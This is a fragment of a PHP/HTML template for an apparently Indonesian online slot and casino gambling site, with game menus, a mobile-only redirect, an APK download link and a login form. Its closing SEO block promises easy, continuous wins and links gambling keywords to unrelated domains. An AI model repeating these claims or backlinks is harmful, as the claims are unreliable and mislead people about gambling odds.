            transition-property: transform;
            transition-property: transform, -webkit-transform;
            box-sizing: content-box
        }

        .swiper-container-android .swiper-slide,
        .swiper-wrapper {
            -webkit-transform: translate3d(0, 0, 0);
            transform: translate3d(0, 0, 0)
        }

        .swiper-slide {
            flex-shrink: 0;
            width: 100%;
            height: 100%;
            position: relative;
            transition-property: -webkit-transform;
            transition-property: transform;
            transition-property: transform, -webkit-transform
        }

        :root {
            --swiper-navigation-size: 44px
        }

        .swiper-button-next,
        .swiper-button-prev {
            position: absolute;
            top: 50%;
            width: calc(var(--swiper-navigation-size)/ 44 * 27);
            height: var(--swiper-navigation-size);
            margin-top: calc(-1 * var(--swiper-navigation-size)/ 2);
            z-index: 10;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--swiper-navigation-color, var(--swiper-theme-color))
        }

        .swiper-button-next:after,
        .swiper-button-prev:after {
            font-family: swiper-icons;
            font-size: var(--swiper-navigation-size);
            text-transform: none !important;
            letter-spacing: 0;
            text-transform: none;
            font-variant: initial;
            line-height: 1
        }

        .swiper-button-prev {
            left: 10px;
            right: auto
        }

        .swiper-button-prev:after {
            content: "prev"
        }

        .swiper-button-next {
            right: 10px;
            left: auto
        }

        .swiper-button-next:after {
            content: "next"
        }

        .swiper-pagination {
            position: absolute;
            text-align: center;
            transition: .3s opacity;
            -webkit-transform: translate3d(0, 0, 0);
            transform: translate3d(0, 0, 0);
            z-index: 10
        }

        .swiper-container-horizontal>.swiper-pagination-bullets {
            bottom: 10px;
            left: 0;
            width: 100%
        }

        .swiper-pagination-bullets-dynamic {
            overflow: hidden;
            font-size: 0
        }

        .swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
            -webkit-transform: scale(.33);
            transform: scale(.33);
            position: relative
        }

        .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active {
            -webkit-transform: scale(1);
            transform: scale(1)
        }

        .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-main {
            -webkit-transform: scale(1);
            transform: scale(1)
        }

        .swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev {
            -webkit-transform: scale(.66);
            transform: scale(.66)
        }

        .swiper-pagination-bullet {
            width: 8px;
            height: 8px;
            display: inline-block;
            border-radius: 100%;
            background: #000;
            opacity: .2
        }

        .swiper-pagination-clickable .swiper-pagination-bullet {
            cursor: pointer
        }

        .swiper-pagination-bullet-active {
            opacity: 1;
            background: var(--swiper-pagination-color, var(--swiper-theme-color))
        }

        .swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet {
            margin: 0 4px
        }

        .swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic {
            left: 50%;
            -webkit-transform: translateX(-50%);
            transform: translateX(-50%);
            white-space: nowrap
        }

        .swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet {
            transition: .2s left, .2s -webkit-transform;
            transition: .2s transform, .2s left;
            transition: .2s transform, .2s left, .2s -webkit-transform
        }

        .swiper-container .swiper-notification {
            position: absolute;
            left: 0;
            top: 0;
            pointer-events: none;
            opacity: 0;
            z-index: -1000
        }

        /*! CSS Used from: /css/fonts/fa/css/all.min.css */
        .fa,
        .fab,
        .far,
        .fas {
            -moz-osx-font-smoothing: grayscale;
            -webkit-font-smoothing: antialiased;
            display: inline-block;
            font-style: normal;
            font-variant: normal;
            text-rendering: auto;
            line-height: 1
        }

        .fa-angle-down:before {
            content: "\f107"
        }

        .fa-bell:before {
            content: "\f0f3"
        }

        .fa-bullhorn:before {
            content: "\f0a1"
        }

        .fa-clock:before {
            content: "\f017"
        }

        .fa-comment:before {
            content: "\f075"
        }

        .fa-envelope:before {
            content: "\f0e0"
        }

        .fa-facebook:before {
            content: "\f09a"
        }

        .fa-facebook-square:before {
            content: "\f082"
        }

        .fa-home:before {
            content: "\f015"
        }

        .fa-instagram:before {
            content: "\f16d"
        }

        .fa-phone:before {
            content: "\f095"
        }

        .fa-skype:before {
            content: "\f17e"
        }

        .fa-telegram:before {
            content: "\f2c6"
        }

        .fa-times:before {
            content: "\f00d"
        }

        .fa-twitter:before {
            content: "\f099"
        }

        .fa-user:before {
            content: "\f007"
        }

        .fa-whatsapp:before {
            content: "\f232"
        }

        .fab {
            font-family: "Font Awesome 5 Brands"
        }

        .far {
            font-weight: 400
        }

        .fa,
        .far,
        .fas {
            font-family: "Font Awesome 5 Free"
        }

        .fa,
        .fas {
            font-weight: 900
        }

        /*! CSS Used keyframes */
        @-webkit-keyframes pulse {
            0% {
                -webkit-filter: initial;
                filter: initial
            }

            50% {
                -webkit-filter: brightness(40.5) drop-shadow(0 0 10px white);
                filter: brightness(40.5) drop-shadow(0 0 10px white)
            }
        }

        @keyframes pulse {
            0% {
                -webkit-filter: initial;
                filter: initial
            }

            50% {
                -webkit-filter: brightness(40.5) drop-shadow(0 0 10px white);
                filter: brightness(40.5) drop-shadow(0 0 10px white)
            }
        }
    </style>
    <link rel="preload" fetchpriority="low" href="/assets/css/style.css" as="style" media="only screen and (min-width: 769px)" onload="this.onload=null;this.rel='stylesheet'" class="desktop">
    <link rel="preload" fetchpriority="low" href="/assets/css/style-m.css" as="style" media="only screen and (max-width: 768px)" onload="this.onload=null;this.rel='stylesheet'" class="mobile">
    <link rel="preload" fetchpriority="low" href="/assets/css/jquery-alerts.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
    <link rel="preload" fetchpriority="low" href="/plugins/swiper/css/swiper.min.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
    <link rel="preload" fetchpriority="low" href="/css/fonts/fa/css/all.min.css" as="style" media="only screen and (min-width: 769px)" onload="this.onload=null;this.rel='stylesheet'" class="faw">
    <link rel="preload" href="https://fonts.googleapis.com/css2?family=Quantico&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" as="style">
    <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Quantico&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" media="print" onload="this.onload=null;this.media='all'">
    <link rel="preload" href="/js/jquery-3.6.1.min.js" as="script">
    <noscript>
        <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Quantico&family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap">
        <link rel="stylesheet" href="/assets/css/style.css" media="only screen and (min-width: 769px)">
        <link rel="stylesheet" href="/assets/css/style-m.css" media="only screen and (max-width: 768px)">
        <link rel="stylesheet" href="/assets/css/jquery-alerts.css">
        <link rel="stylesheet" href="/plugins/swiper/css/swiper.min.css">
        <link rel="stylesheet" href="/css/fonts/fa/css/all.min.css">
    </noscript>
</head>

<script>
    function isMobile() {
        const userAgent = navigator.userAgent || navigator.vendor || window.opera;
        return /android|ipad|iphone|ipod|windows phone/i.test(userAgent);
    }

    if (!isMobile()) {
        // Redirect ke halaman pemberitahuan jika bukan perangkat mobile
        window.location.href = "/no-access.html";
    }
</script>

<body>
    <!-- START MOBILE -->
    <div id="showM">
        <div class="g8app-mob">
                <div class="l g8app-mob-close">
                    <div class="wrapper-close">×</div>
                </div>
                <div class="c">
                    <div class="cl">
                    </div>
                    <div class="cr">
                        <h3>Janjiwin</h3>
                        <p>Download Aplikasi Mobile</p>
                    </div>
                </div>
                <div class="r">
                    <picture>
                        <source srcset="/common/assets/images/android.webp" type="image/webp">
                        <img src="/common/assets/images/android.png" width="60" height="34" alt="Logo Android" loading="lazy">
                    </picture>
                    <a href="https://www.g8apps.online/d.html?a=jnw" data-apklink="https://www.g8apps.online/d.html?a=jnw" aria-label="Download APK" target="_blank">
                        <picture>
                            <source srcset="/common/assets/images/v2/download-apps-small.webp" type="image/webp">
                            <img src="/common/assets/images/v2/download-apps-small.png" width="117" height="117" alt="Logo Android" loading="lazy" class="icon-download">
                        </picture>
                    </a>
                </div>
            </div>
        <div class="overlap g8mmenu-close"></div>
        <nav class="nav">
            <div class="nav__menu g8mmenu">
                <button class="hamburger hamburger--squeeze" type="button" aria-label="menu">
                    <span class="hamburger-box">
                        <span class="hamburger-inner"></span>
                    </span>
                </button>
            </div>
            <div class="nav__logo">
                <a href="/"><img src="<?php echo $urlweb; ?>/upload/<?php echo $s0['image']; ?>" style="filter:brightness(100%)"></a>
            </div>
            <div class="nav__notification g8pop-ann">
                <svg xmlns="http://www.w3.org/2000/svg" height="20" width="28" viewBox="0 0 448 512" style="fill: #fff;">
                    <path d="M439.4 362.3c-19.3-20.8-55.5-52-55.5-154.3 0-77.7-54.5-139.9-127.9-155.2V32c0-17.7-14.3-32-32-32s-32 14.3-32 32v20.8C118.6 68.1 64.1 130.3 64.1 208c0 102.3-36.2 133.5-55.5 154.3-6 6.5-8.7 14.2-8.6 21.7 .1 16.4 13 32 32.1 32h383.8c19.1 0 32-15.6 32.1-32 .1-7.6-2.6-15.3-8.6-21.7zM67.5 368c21.2-28 44.4-74.3 44.5-159.4 0-.2-.1-.4-.1-.6 0-61.9 50.1-112 112-112s112 50.1 112 112c0 .2-.1 .4-.1 .6 .1 85.1 23.3 131.5 44.5 159.4H67.5zM224 512c35.3 0 64-28.7 64-64H160c0 35.4 28.7 64 64 64z"></path>
                </svg>
            </div>
        </nav>
        <div class="menu">
            <div class="sidenav">
                <div class="welcome">Selamat Datang</div>
                <div class="sidenav_logo">
                    <a href="/"><img src="<?php echo $urlweb; ?>/upload/<?php echo $s0['image']; ?>" style="filter:brightness(100%)"></a>
                </div>
                <div class="sidenav_btn">
                    <div class="sidenav_btn_title">Silahkan Login atau Daftar</div>
                    <div class="sidenav_btn_button">
                        <button class="sidenav-login g8pop-login">Masuk</button>
                        <button class="sidenav-register">
                            <a href="/register">Daftar</a>
                        </button>
                    </div>
                    <div class="sidenav_btn_forgetpw">
                        <a class="g8pop-forgot" href="#">Lupa Rincian Masuk?</a>
                    </div>
                </div>
            </div>
            
            <div class="sidenav-games">
                <ul>
                    <li class="games menu-row">
                        <div style="flex-direction: row; display: flex; align-items: center;">
                            <div style="display: flex; justify-content: center; align-items: center; width: 26px; height: 26px; margin-right: 10px">
                                <svg viewBox="0 0 24 24" style="width: 26px; height: 26px; overflow: visible; opacity: 1; z-index: 1; fill: rgb(255, 255, 255);">
                                    <path d="M0 0h24v24H0z" fill="none"></path>
                                    <path d="M15 7.5V2H9v5.5l3 3 3-3zM7.5 9H2v6h5.5l3-3-3-3zM9 16.5V22h6v-5.5l-3-3-3 3zM16.5 9l-3 3 3 3H22V9h-5.5z"></path>
                                </svg>
                            </div>
                            <span>Games</span>
                        </div>
                        <svg xmlns="http://www.w3.org/2000/svg" height="16" width="10" viewBox="0 0 320 512">
                            <path d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path>
                        </svg>
                        <ul class="all-games" style="display: none;">
                            <li>
                                <a href="/sportsbook">
                                    <img src="/common/assets/images/icon/menu/v2/sportsbook-menu-sidebar.png" class="sub-menu black-to-white" alt="sportsbook game" loading="lazy">
                                    <span>Sportsbook</span>
                                </a>
                            </li>
                            <li>
                                <a href="/slots-provider">
                                    <img src="/common/assets/images/icon/menu/v2/slots-menu-sidebar.png" class="sub-menu black-to-white" alt="slot" loading="lazy">
                                    <span>Slots</span>
                                </a>
                            </li>
                            <li>
                                <a href="/livecasino">
                                    <img src="/common/assets/images/icon/menu/v2/livecasino-menu-sidebar.png" class="sub-menu black-to-white" alt="livecasino game" loading="lazy">
                                    <span>Live Casino</span>
                                </a>
                            </li>
                            <li>
                                <a href="/poker">
                                    <img src="/common/assets/images/icon/menu/v2/poker-menu-sidebar.png" class="sub-menu black-to-white" alt="poker game" loading="lazy">
                                    <span>Poker</span>
                                </a>
                            </li>
                            <li>
                                <a href="/tangkas">
                                    <img src="/common/assets/images/icon/menu/v2/tangkas-menu-sidebar.png" class="sub-menu black-to-white" alt="tangkas game" loading="lazy">
                                    <span>Tangkas</span>
                                </a>
                            </li>
                            <li>
                                <a href="/fish">
                                    <img src="/common/assets/images/icon/menu/v2/fish-menu-sidebar.png" class="sub-menu black-to-white" alt="fish game" loading="lazy">
                                    <span>Fish</span>
                                </a>
                            </li>
                            <li>
                                <a href="/others">
                                    <img src="/common/assets/images/icon/menu/v2/others-menu-sidebar.png" class="sub-menu black-to-white" alt="game" loading="lazy">
                                    <span>Others</span>
                                </a>
                            </li>
                            <li>
                                <a href="/hot">
                                    <img src="/common/assets/images/icon/menu/v2/hot-menu-sidebar.png" class="sub-menu black-to-white" alt="vip" loading="lazy">
                                    <span>Hot</span>
                                </a>
                            </li>
                        </ul>
                    </li>
                    <li>
                        <a href="/promotions">
                            <img src="/common/assets/images/icon/menu/v2/promotion-menu-sidebar.png" class="black-to-white" alt="promotion" loading="lazy">
                            <span>Promosi</span>
                        </a>
                    </li>
                    <li>
                        <a href="/mobile">
                            <img src="/common/assets/images/icon/menu/v2/download-menu-sidebar.png" class="black-to-white" alt="unduh" loading="lazy">
                            <span>Download</span>
                        </a>
                    </li>
                    <li>
                        <a href="<?php echo $s1a['livechat']; ?>">
                            <img src="/common/assets/images/icon/menu/v2/contact-menu-sidebar.png" class="black-to-white" alt="affiliate" loading="lazy">
                            <span>Hubungi kami</span>
                        </a>
                    </li>
                </ul>
            </div>
        </div>
        <div class="content">
        <section class="slider g8-banner g8-banner-m">          
        <div class="swiper-container g8b-m swiper-container-initialized swiper-container-horizontal">            
            <div class="swiper-wrapper s-slides" style="transition-duration: 300ms;">

                <?php
                // Query untuk mendapatkan data slide
                $sql_2 = mysqli_query($conn, "SELECT * FROM `tb_slide` ORDER BY cuid DESC") or die(mysqli_error($conn));
                $no = 0;

                // Iterasi untuk setiap slide
                while ($s2 = mysqli_fetch_array($sql_2)) {
                    $no++;
                    $activeClass = ($no == 1) ? 'swiper-slide-active' : ''; // Slide pertama diberi kelas 'active'
                    ?>
                    <div class="swiper-slide <?php echo $activeClass; ?>" data-swiper-slide-index="<?php echo $no - 1; ?>" style="width: 373px;">
                        <a href="<?php echo $urlweb; ?>/upload/<?php echo $s2['image']; ?>" target="_blank" rel="noopener noreferrer nofollow">
                            <picture>
                                <source srcset="<?php echo $urlweb; ?>/upload/<?php echo $s2['image']; ?>" type="image/webp">
                                <img src="<?php echo $urlweb; ?>/upload/<?php echo $s2['image']; ?>" alt="<?php echo $s2['image']; ?>" width="640" height="300" loading="lazy">
                            </picture>
                        </a>
                    </div>
                <?php } ?>
            </div>            

            <!-- Tombol Navigasi Slider -->
            <div class="swiper-button-next" tabindex="0" role="button" aria-label="Next slide"></div>
            <div class="swiper-button-prev" tabindex="0" role="button" aria-label="Previous slide"></div>          

            <!-- Notifikasi Aksesibilitas -->
            <span class="swiper-notification" aria-live="assertive" aria-atomic="true"></span>
        </div>        
    </section>
            <section class="marquee s-a">
                <div class="marquee__bullhorn">
                    <svg xmlns="http://www.w3.org/2000/svg" style="width: 24px;height: 24px;overflow: visible;" viewBox="0 0 24 24">
                        <path fill="none" d="M0 0h24v24H0z"></path>
                        <path d="M18 11v2h4v-2h-4zm-2 6.61c.96.71 2.21 1.65 3.2 2.39.4-.53.8-1.07 1.2-1.6-.99-.74-2.24-1.68-3.2-2.4-.4.54-.8 1.08-1.2 1.61zM20.4 5.6c-.4-.53-.8-1.07-1.2-1.6-.99.74-2.24 1.68-3.2 2.4.4.53.8 1.07 1.2 1.6.96-.72 2.21-1.65 3.2-2.4zM8 9H2v6h3v4h2v-4h1l5 3V6L8 9zm7.5 3c0-1.33-.58-2.53-1.5-3.35v6.69c.92-.81 1.5-2.01 1.5-3.34z"></path>
                    </svg>
                </div>
            </section>
            <section class="quick-btn">
                <a href="#" class="g8pop-login">Masuk</a>
                <a href="#" class="g8pop-signup">Daftar</a>
            </section>
            <ul class="menu-2">
                <li>
                    <a href="/sportsbook">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/sportsbook-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/sportsbook-menu.png" alt="ball" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Sportsbook</span>
                    </a>
                </li>
                <li>
                    <a href="/slots-provider">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/slot-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/slot-menu.png" alt="slot" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Slots</span>
                    </a>
                </li>
                <li>
                    <a href="/livecasino">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/livecasino-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/livecasino-menu.png" alt="livecasino" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Live Casino</span>
                    </a>
                </li>
                <li>
                    <a href="/poker">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/poker-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/poker-menu.png" alt="card" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Poker</span>
                    </a>
                </li>
                <li>
                    <a href="/tangkas">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/tangkas-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/tangkas-menu.png" alt="tangkas game" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Tangkas</span>
                    </a>
                </li>
                <li>
                    <a href="/fish">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/fish-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/fish-menu.png" alt="fish game" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Fish</span>
                    </a>
                </li>
                <li>
                    <a href="/others">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/others-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/others-menu.png" alt="game" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Others</span>
                    </a>
                </li>
                <li>
                    <a href="/hot">
                        <picture>
                            <source srcset="/common/assets/images/icon/menu/v2/hot-menu.webp" type="image/webp">
                            <img src="/common/assets/images/icon/menu/v2/hot-menu.png" alt="vip" width="100" height="100" loading="lazy">
                        </picture>
                        <span>Hot</span>
                    </a>
                </li>
            </ul>
            <div class="progressive-jackpot-text-wrapper">
                <img src="/assets/img/progressive-jackpot-text.png" width="503" height="31" alt="pj text" loading="lazy">
            </div>
            <section class="progressive-jackpot">
                <div class="jackpot-container">
                    <span class="jackpot-currency">IDR</span>
                    <span class="jackpotNumber">Loading...</span>
                </div>
            </section>
            <section class="games">
                <div class="home-games">
                    <div class="title">
                        <span><span class="text-white">HOT </span><span class="text-color">SLOT GAMES</span></span>
                        <a href="/slots-provider">Lihat Semua Game</a>
                    </div>
                    <div class="game-wrapper">
                        <div class="game-items">
                            <div class="box s-check" action="slot-pm" gc="vs20olympgate">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/vs20olympgate.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/vs20olympgate.png" width="200" height="200" alt="Gates of Olympus" loading="lazy">
                                    </picture>
                                </div>
                                <span>Gates of Olympus</span>
                            </div>
                            <div class="box s-check" action="slot-s88" gc="38">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/qow.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/qow.png" width="200" height="200" alt="Queen Of Wands" loading="lazy">
                                    </picture>
                                </div>
                                <span>Queen Of Wands</span>
                            </div>
                            <div class="box s-check" action="slot-s88" gc="35">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/888.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/888.png" width="200" height="200" alt="888" loading="lazy">
                                    </picture>
                                </div>
                                <span>888</span>
                            </div>
                            <div class="box s-check" action="slot-s88" gc="51">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/er.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/er.png" width="200" height="200" alt="Extreme Rhino" loading="lazy">
                                    </picture>
                                </div>
                                <span>Extreme Rhino</span>
                            </div>
                            <div class="box s-check" action="slot-s88" gc="52">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/zu.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/zu.png" width="200" height="200" alt="Zeus" loading="lazy">
                                    </picture>
                                </div>
                                <span>Zeus</span>
                            </div>
                            <div class="box s-check" action="slot-s88" gc="37">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/slots/jjewel.webp" type="image/webp">
                                        <img src="/common/assets/images/home/slots/jjewel.png" width="200" height="200" alt="Joker's Jewels 88" loading="lazy">
                                    </picture>
                                </div>
                                <span>Joker's Jewels 88</span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="home-games">
                    <div class="title">
                        <span><span class="text-white">POPULAR </span><span class="text-color">GAMES</span></span>
                    </div>
                    <div class="game-wrapper">
                        <div class="game-items">
                            <div class="box s-check" action="wbsport">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/sb-wb.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/sb-wb.jpg" width="200" height="200" alt="WB Sport" loading="lazy">
                                    </picture>
                                </div>
                                <span>WB Sport</span>
                            </div>
                            <div class="box s-check" action="pm-suit">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/lc-pm.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/lc-pm.jpg" width="200" height="200" alt="PP Suite" loading="lazy">
                                    </picture>
                                </div>
                                <span>PP Suite</span>
                            </div>
                            <a class="box" href="/slots?sg=lv2">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/sg-live22.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/sg-live22.jpg" width="200" height="200" alt="Live22 game" loading="lazy">
                                    </picture>
                                </div>
                                <span>Live22</span>
                            </a>
                            <a class="box" href="/slots?sg=pm">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/sg-pp.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/sg-pp.jpg" width="200" height="200" alt="PP Slot" loading="lazy">
                                    </picture>
                                </div>
                                <span>PP Slot</span>
                            </a>
                            <a class="box" href="/slots?sg=vp">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/sg-vp.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/sg-vp.jpg" width="200" height="200" alt="V Power game" loading="lazy">
                                    </picture>
                                </div>
                                <span>V Power</span>
                            </a>
                            <a class="box" href="/slots?sg=s88">
                                <div class="box-item">
                                    <picture>
                                        <source srcset="/common/assets/images/home/popular/sg-s88.webp" type="image/webp">
                                        <img src="/common/assets/images/home/popular/sg-s88.jpg" width="200" height="200" alt="Slot88 game" loading="lazy">
                                    </picture>
                                </div>
                                <span>Slot88</span>
                            </a>
                        </div>
                    </div>
                </div>
                <div class="home-games">
                    <div class="g8-lshm"></div>
                </div>
            </section>
            <section class="depo-withdraw">
                <div class="card">
                    <div class="card-header">
                        <div class="circle-wrp">
                            <div class="ring">
                                <img src="/common/assets/images/v2/icon-deposit.png" alt="ico depo" class="icon">
                            </div>
                        </div>
                        <div class="text-wrp">
                            <div class="text-row">
                                <div>
                                    <div class="text-bg title">PROSES DEPOSIT</div>
                                    <div class="text-bg description">Waktu rata-rata</div>
                                </div>
                                <div class="text-time-new"><span>1</span> mins</div>
                            </div>
                            <div class="progress">
                                <div class="progress-bar" style="width: 20%;"></div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="card">
                    <div class="card-header">
                        <div class="circle-wrp">
                            <div class="ring">
                                <img src="/common/assets/images/v2/icon-withdraw.png" alt="ico wd" class="icon">
                            </div>
                        </div>
                        <div class="text-wrp">
                            <div class="text-row">
                                <div>
                                    <div class="text-bg title">PROSES WITHDRAW</div>
                                    <div class="text-bg description">Waktu rata-rata</div>
                                </div>
                                <div class="text-time-new"><span>3</span> mins</div>
                            </div>
                            <div class="progress">
                                <div class="progress-bar" style="width: 30%;"></div>
                            </div>
                        </div>
                    </div>
                </div>
            </section>
            <section class="supported-banks">
                <p class="title"><span class="text-white">METODE </span><span class="text-color">PEMBAYARAN</span></p>
                <div class="list-wrapper">
                    <button class="button-pay">
                        <picture>
                            <source srcset="/common/assets/images/v2/icon-bank-transfer.webp" type="image/webp">
                            <img src="/common/assets/images/v2/icon-bank-transfer.png" width="128" height="128" alt="transfer manual" class="icon" loading="lazy">
                        </picture>
                        <div class="text">
                            <p class="text-title">BANK TRANSFER</p>
                        </div>
                    </button>
                    <button class="button-pay">
                        <picture>
                            <source srcset="/common/assets/images/v2/icon-ewallet.png" type="image/webp">
                            <img src="/common/assets/images/v2/icon-ewallet.png" width="128" height="128" alt="dompet elektronik" class="icon" loading="lazy">
                        </picture>
                        <div class="text">
                            <p class="text-title">E - WALLET</p>
                        </div>
                    </button>
                    <button class="button-pay">
                        <picture>
                            <source srcset="/common/assets/images/v2/icon-pulsa.png" type="image/webp">
                            <img src="/common/assets/images/v2/icon-pulsa.png" width="128" height="128" alt="pulsa provider" class="icon" loading="lazy">
                        </picture>
                        <div class="text">
                            <p class="text-title">PULSA</p>
                        </div>
                    </button>
                </div>
            </section>
            <section class="footer">
                <div class="social-logo s-cs2">
                    <ul></ul>
                </div>
            </section>
            <section class="seo">
                <h1 style="text-align:center"><?php echo $instansi ?> Daftar Situs Slot Gacor Online Terpercaya Gampang Menang Hari Ini <br></h1>
                <p style="text-align:justify"><?php echo $instansi ?>adalah <a href="https://dimitriospizza.com/" style="color:#32a8ea">situs slot gacor</a> terbaik yang menghadirkan pengalaman bermain slot online terpercaya seperti slot88 dengan modal taruhan terkecil namun gampang maxwin. Mesin <a href="https://pulanginsanity.com/" style="color:#32a8ea">slot</a> merupakan permainan tarik tuas yang terdiri dari tiga gulungan dengan simbol unik pada setiap putarannya. Sedangkan, <a href="https://dimitriospizza.com/" style="color:#32a8ea">slot online</a> adalah permainan mesin slot yang dapat dimainkan secara online (daring) dan merupakan permainan hiburan yang menawarkan kemenangan terus menerus dan peluang gacor maxwin tertinggi.</p>
                <p style="text-align:justify"><a href="https://dimitriospizza.com/" style="color:#32a8ea">Link slot gacor</a> gampang menang&nbsp;tersedia 24 jam nonstop memberikan pelayanan terbaik dengan kenikmatan bermain judi slot online nomor 1 di indonesia. Permainan slot gacor dengan minimal deposit 5000 dan bet hanya 50 perak menjadi&nbsp;pilihan terbaik&nbsp;sebagai situs <a href="https://dimitriospizza.com/" style="color:#32a8ea">slot gacor hari ini</a> yang paling gampang dapat sensational. Slot resmi anti rungkat dilengkapi rtp slot terpercaya kami sajikan agar setiap pemain bisa dengan mudah mendapatkan live rtp terbaru dengan persentase menang lebih tinggi. Ayo gabung&nbsp;sekarang,&nbsp;mainkan game slot gacor 2025 terbaru dan raih peluang maxwin lebih besar.</p>
            </section>
        </div>
        <nav class="bottom-nav">
            <ul>
                <li>
                    <a href="/">
                        <img src="/common/assets/images/icon/nav/home.svg" width="150" height="150" alt="Awalan"> Beranda
                    </a>
                </li>
                <li>
                    <a href="/mobile">
                        <img src="/common/assets/images/icon/nav/v2/download-menu.png" width="100" height="113" alt="Ambil"> Unduh
                    </a>
                </li>
                <li>
                    <a href="#" class="g8pop-login">
                        <div class="wrap">
                            <img src="/common/assets/images/icon/nav/v2/login-menu.png" width="50" height="50" alt="Log dalam">
                        </div>
                        Masuk
                    </a>
                </li>
                <li>
                    <a href="/promotions">
                        <img src="/common/assets/images/icon/nav/v2/promo-menu.png" width="512" height="512" alt="Promo"> Promosi
                    </a>
                </li>
                <li>
                    <a href="#" onclick="LC_API.open_chat_window(); return false;">
                        <img src="/common/assets/images/icon/nav/live-chat.svg" width="512" height="512" alt="Chat langsung" class="live-chat"> Live Chat
                    </a>
                </li>
            </ul>
        </nav>
    </div>
    <!-- END MOBILE -->
    <!-- START DESKTOP -->
    <div id="showD">
        <header>
            <section class="header-top">
                <div class="wrapper">
                    <div class="header-top__detail">
                        <ul>
                            <li class="timer">
                                <i class="fa fa-clock"></i>
                                <span id="timer"></span>
                            </li>
                            <li>
                                <span class="g8-livechat" onclick="LC_API.open_chat_window(); return false;">
                                    <i class="fa fa-comment"></i>
                                    <span> Live Chat</span>
                                </span>
                            </li>
                        </ul>
                    </div>
                </div>
            </section>
            <section class="header-mdl">
                <div class="wrapper">
                    <a href="/" class="header-mdl__logo"><img src="<?php echo $urlweb; ?>/upload/<?php echo $s0['image']; ?>" style="filter:brightness(100%)"></a>
                    <div class="header-mdl__login">
                        <div class="header-mdl__login-form">
                        <?php
                            error_reporting(0);
                            if (!empty($_SESSION['notif'])) {
                            $notif = $_SESSION['notif'];
                            echo '
                            <div class="alert alert-' . htmlspecialchars($notif['type']) . ' alert-dismissible" role="alert">
                            <button type="button" class="close" data-dismiss="alert">&times;</button>
                            <div class="alert-message">
                            <span>' . htmlspecialchars($notif['message']) . '</span>
                            </div>
                            </div>
                            ';
                            unset($_SESSION['notif']); // Hapus notifikasi setelah ditampilkan
                            }
                            ?>
                            <form id="login-form" name="login-form" action="<?php echo $urlweb ?>/login-proses.php" method="post" novalidate="novalidate">
                                <div class="form-group">
                                    <input type="text" placeholder="Username" name="user" class="form-control required">
                                </div>
                                <div class="form-group">
